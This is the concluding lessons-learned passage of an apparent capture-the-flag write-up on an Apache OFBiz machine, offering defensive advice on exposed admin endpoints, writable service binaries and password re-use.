  • Disable risky APIs. I have to struggle to think of a legitimate reason by /webtools/control was exposed to the internet at all. Whenever possible, minimize the attack surface (as much as the customer/stakeholder can allow).
  • Never allow a binary that is ran by a service to be in a writable location of a low-privilege user. It was irresponsible to allow ofbiz to have write access to the whole /opt/ofbiz directory; their write access could have been limited to a few key locations.
  • Avoid password re-use. On this box, the root user had the same password as the “admin” user for OFBiz (an internet-facing application). It’s best to use other forms of authentication (a hardware token, perhaps), but at the very least, never re-use passwords. This goes double for applications that cross a trust barrier.

Thanks for reading

🤝🤝🤝🤝
@4wayhandshake